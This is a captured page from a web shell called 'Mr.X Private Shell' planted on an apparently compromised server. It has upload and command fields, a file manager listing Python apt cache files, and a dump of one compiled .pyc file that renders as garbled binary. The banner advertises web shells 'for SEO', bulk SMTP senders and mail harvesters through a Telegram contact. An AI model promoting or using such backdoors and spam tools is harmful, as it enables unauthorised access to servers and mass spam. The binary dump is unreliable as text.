__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

8.�g"(���SrSSKrSSKrSSKrSSKrSSKrSSKJr SSKrSSK	J
r
 /SQrS\S\4Sjr
"S	S
5r"SS\
R\5r"S
S\
R \5r"SS\
R"\5rg)z'Progress reporting for text interfaces.�N)�Callable)�base)�AcquireProgress�
CdromProgress�
OpProgress�msg�returnc�j�[R"U5nX:Xa[R"US5nU$)z>Translate the message, also try apt if translation is missing.�apt)�apt_pkg�gettext)r�ress  �3/usr/lib/python3/dist-packages/apt/progress/text.py�_r s*��
�/�/�#�
�C�
�z��o�o�c�5�)���J�c	�f�\rSrSrSrSS\RS-SS4SjjrS
S\S\	S	\	SS4S
jjr
Srg)�TextProgress�(z.Internal Base class for text progress classes.N�outfiler	c�N�U=(d [RUlSUlg)Nr)�sys�stdout�_file�_width��selfrs  r�__init__�TextProgress.__init__+s���*��
�
��
���rr�newline�maximizec���URRS5 URRU5 UR[U5:�a5URRUR[U5-
S-5 O+U(a$[	UR[U55UlU(aURRS5 gURR5 g)z8Write the message on the terminal, fill remaining space.�
� �
N)r�writer�len�max�flush)rrrr s    r�_write�TextProgress._write/s����
�
������
�
������;�;��S��!��J�J���d�k�k�C��H�4��;�<�
��d�k�k�3�s�8�4�D�K���J�J���T�"�
�J�J���r)rr�N)TF)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�io�
TextIOBaser�str�boolr)�__static_attributes__�rrrr(sH��8���
�
�� 4�����#����t��PT��rrc�n�\rSrSrSrSS\RS-SS4SjjrSS\S-SS4Sjjr	SS	jr
S
rg)
r�@zTOperation progress reporting.

This closely resembles OpTextProgress in libapt-pkg.
Nrr	c�z�[RX5 [RRU5 SUlg)N�)rrrr�old_oprs  rr�OpProgress.__init__Fs)�����d�,���� � ��&���r�percentc�6�[RRX5 UR(a,UR(aURUR5 URSURUR4-SS5 URUlg)z1Called periodically to update the user interface.z%s... %i%%
FTN)rr�update�major_changer;r)�opr=)rr=s  rr?�OpProgress.updateKs`�������t�-��������K�K����$����N�d�g�g�t�|�|�%<�<�e�T�J��g�g��rc���[RRU5 UR(a+UR	[S5SUR4-SS5 SUlg)z,Called once an operation has been completed.z%c%s... Doner"Tr:N)rr�doner;r)r�rs rrD�OpProgress.doneSsE�������T�"��;�;��K�K��.�)�T�4�;�;�,?�?��t�L���r)r;r+�r	N)r,r-r.r/r0r1r2r�floatr?rDr5r6rrrr@s?���
��
�
�� 4����
�e�d�l��d��rrc��\rSrSrSrSS\RS-SS4SjjrSSjrS\	SS4S	jr
S
\RSS4Sjr
S
\RSS4SjrS
\RSS4S
jrS\R S\4SjrS\S\S\4SjrSSjrSrg)r�[z'AcquireProgress for the text interface.Nrr	c��[RX5 [RRU5 SUlSUlSUlg)N�P�)rrrr�_signalr�_idrs  rr�AcquireProgress.__init__^s@�����d�,����%�%�d�+�
�	
�������rc���[RRU5 [R"[RUR
5UlUR5 SUlg)z�Start an Acquire progress.

In this case, the function sets up a signal handler for SIGWINCH, i.e.
window resize signals. And it also sets id to 1.
rMN)rr�start�signal�SIGWINCH�_winchrNrOrEs rrR�AcquireProgress.startgsB��	
���"�"�4�(��}�}�V�_�_�d�k�k�B������
���r�dummyc�J�[URS5(a�[R"URR	55(aTSSKnSSKnSSKnURURURS5nURSU5up nUS-
Ulggg)z)Signal handler for window resize signals.�filenorNs        �hhhhrM)�hasattrr�os�isattyrY�fcntl�struct�termios�ioctl�
TIOCGWINSZ�unpackr)rrWr^r_r`�buf�cols       rrU�AcquireProgress._winchss~���4�:�:�x�(�(�R�Y�Y�t�z�z�7H�7H�7J�-K�-K�����+�+�d�j�j�'�*<�*<�h�G�C�'-�}�}�V�S�'A�$�E��u���'�D�K�.L�(r�itemc�*�[RRX5 [S5UR-nUR
R(a0US[R"UR
R5--
nURU5 g)z@Called when an item is update (e.g. not modified on the server).zHit � [%sB]N)
rr�ims_hitr�description�owner�filesizer�size_to_strr)�rrg�lines   rrj�AcquireProgress.ims_hit~sg�����$�$�T�0���y�4�+�+�+���:�:����H�w�2�2�4�:�:�3F�3F�G�G�G�D����D�rc��[RRX5 URRURR
:Xa(UR
[S5UR-5 gUR
[S5UR-5 UR
SURR-5 g)zCalled when an item is failed.zIgn zErr z  %sN)
rr�failrl�status�	STAT_DONEr)rrk�
error_text)rrgs  rrs�AcquireProgress.fail�s������!�!�$�-��:�:����
�
� 4� 4�4��K�K��&�	�D�$4�$4�4�5��K�K��&�	�D�$4�$4�4�5��K�K�����!6�!6�6�7rc���[RRX5 URR(agUR
URlU=R
S-
sl[S5URRSUR3-nURR(a0US[R"URR5--
nURU5 g)z/Called when some of the item's data is fetched.NrMzGet:r#ri)
rr�fetchrl�completerO�idrrkrmrrnr)ros   rry�AcquireProgress.fetch�s������"�"�4�.��:�:��������
�
�
����A�
����y�d�j�j�m�m�_�A�d�.>�.>�-?�@�@���:�:����H�w�2�2�4�:�:�3F�3F�G�G�G�D����D�rrlc��[RRX5 [URS5(a4[
R"URR55(dgURUR-S-[URUR-5-nSnSU-nSnUR(a|[[URUR-
5UR-5nSR[ R""UR5[ R$"U55nUR&GHnSnUR((d\UR*(aISUR*-n[-U5[-U5-[-U5-UR.:�a GO�XH-
nSnMsSnUR(R0R2(a=US	UR(R0R2UR(R44--
nOUS
UR(R6--
nUR(R0R8(a&USUR(R0R8--
nUS[ R""UR:5--
nUR<(agUR(R0R>(dBUS
[ R""UR<5UR:S-UR<-4--
nUS-
n[-U5[-U5-[-U5-UR.:�a O	XH-
nGM U(dU[AS5-
nUR(a,X@R.[-U5-
[-U5-
S-U--
nURCUS5 g)z�Periodically invoked while the Acquire process is underway.

Return False if the user asked to cancel the whole Acquire process.rYTgY@Fz%i%%r:z	 {}B/s {}z [%s]z [%i %sz [%sz %sz %sBz	/%sB %i%%�]z
 [Working]r#)"rr�pulser[rr\r]rY�
current_bytes�
current_itemsrH�total_bytes�total_items�current_cps�int�formatrrn�time_to_str�workers�current_itemrtr&rrlr{�	shortdescrk�active_subprocess�current_size�
total_sizerzrr))	rrlr=�shown�tval�end�eta�worker�vals	         rr�AcquireProgress.pulse�s��	
���"�"�4�/��4�:�:�x�(�(����4�:�:�;L�;L�;N�1O�1O���&�&��);�);�;�u�D�����t�/�/�/�I
�
��������������e�D�,�,�t�/A�/A�A�B�T�EU�EU�U�V�C��$�$��#�#�D�$4�$4�5��#�#�C�(��C�
�m�m�F��C��&�&��=�=�!�F�M�M�1�C��4�y�3�s�8�+�c�#�h�6�$�+�+�E���K�D� �E���E��"�"�(�(�+�+��y��'�'�-�-�0�0��'�'�1�1�$����
�v�� 3� 3� ?� ?�?�?���"�"�(�(�:�:��u�v�2�2�8�8�J�J�J�J���6�G�/�/��0C�0C�D�D�D�C�� � ��)<�)<�)B�)B�)K�)K��{��'�'��(9�(9�:��'�'�%�/�&�2C�2C�C�&����

�3�J�C��4�y�3�s�8�#�c�#�h�.�$�+�+�=�����K$�N��A�l�O�#�D�����[�[�3�s�8�+�c�$�i�7�3�>��D�D�D����D�%� �r�medium�drivec��[RRXU5 UR[	S5X4-5 [5S;$)z7Prompt the user to change the inserted removable media.zUMedia change: please insert the disc labeled
 '%s'
in the drive '%s' and press enter
)�c�C)rr�media_changer)r�input)rr�r�s   rr��AcquireProgress.media_change�sL�����)�)�$��>����
�6�
�
�o�
�	
��w�j�(�(rc��[RRU5 UR[	S5[
R"UR5[
R"UR5[
R"UR54-RS55 SSKnUR"URUR5 g)z/Invoked when the Acquire process stops running.zFetched %sB in %s (%sB/s)
r$rN)rr�stopr)rrrn�
fetched_bytesr��elapsed_timer��rstriprSrTrN)rrSs  rr��AcquireProgress.stop�s������!�!�$�'�����/�0��'�'��(:�(:�;��'�'��(9�(9�:��'�'��(8�(8�9����f�T�l�		
�	��
�
�f�o�o�t�|�|�4r)rOrNrr+rG)r,r-r.r/r0r1r2rrR�objectrUr�AcquireItemDescrjrsry�Acquirer4rr3r�r�r5r6rrrr[s���1���
�
�� 4����
�	"�V�	"��	"��G�3�3����8��0�0�8�T�8��'�1�1��d��F�7�?�?�F�t�F�P)�3�)�s�)�t�)�5rrc�P�\rSrSrSrS\S-4SjrS\S\SS4SjrS\	4S	jr
S
rg)rizText CD-ROM progress.r	Nc��[RRU5 UR[	S5S5 [[
S55$![a gf=f)z,Ask the user to provide a name for the disc.zDPlease provide a name for this medium, such as 'Debian 2.1r1 Disk 1'F�:N)rr�ask_cdrom_namer)rr3r��KeyboardInterruptrEs rr��CdromProgress.ask_cdrom_name
sY�����)�)�$�/����
�(�
�
�	
�	��u�S�z�?�"�� �	��	�s�A�
A�A�text�currentc�x�[RRXU5 U(aURUS5 gg)zSet the current progress.FN)rrr?r))rr�r�s   rr?�CdromProgress.updates.�����!�!�$�g�6���K�K��e�$�rc���[RRU5 UR[	S5S5 [[
5S:H5$![a gf=f)z"Ask the user to change the CD-ROM.z4Please insert an installation medium and press enterFr:)rr�change_cdromr)rr4r�r�rEs rr��CdromProgress.change_cdromsR�����'�'��-����A�L�M�u�U�	����2�
�&�&�� �	��	�s�A�
A�Ar6)r,r-r.r/r0r3r�r�r?r4r�r5r6rrrrs;���
��d�
�
�%�3�%��%��%��d�rr)r0r1r\rSr�types�collections.abcrr�apt.progressr�__all__r3rrrrrr6rr�<module>r�s���".�	�	�
�
��$���
<���3��3����0����,��6i5�d�*�*�L�i5�X�D�&�&��r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 497 B 0644
base.cpython-313.pyc File 14.97 KB 0644
text.cpython-313.pyc File 15.43 KB 0644
Filemanager